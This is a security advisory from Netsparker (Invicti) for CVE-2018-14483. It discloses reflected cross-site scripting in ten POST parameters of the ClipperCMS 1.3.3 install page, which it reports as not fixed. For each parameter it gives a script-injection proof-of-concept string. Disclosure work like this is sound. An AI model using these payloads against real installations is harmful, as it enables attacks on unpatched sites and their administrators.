Multiple Cross-site Scripting Vulnerabilities in ClipperCMS 1.3.3

Information

Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in ClipperCMS
Affected Software: ClipperCMS
Affected Versions: 1.3.3
Homepage: https://github.com/ClipperCMS/ClipperCMS
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-14483
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-008

Technical Details – (Install Page)

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: cmspasswordconfirm
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F61)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: cmsadminemail
Parameter Type: POST
Attack Pattern: &nbsp;'"--></style></scRipt><scRipt>netsparker(0x001F59)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: tableengine
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F65)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: phpdbapi
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F6D)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: cmsadmin
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F55)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: database_collation
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F69)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: tableprefix
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F51)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: databasehost
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001E83)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: cmspassword
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F5D)</scRipt>

URL: http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name: database_name
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x001F4D)</scRipt>

For more information on cross-site scripting vulnerabilities read the section Cross-site scripting (XSS).

Advisory Timeline

27th November 2017 – Issue Reported
11th September 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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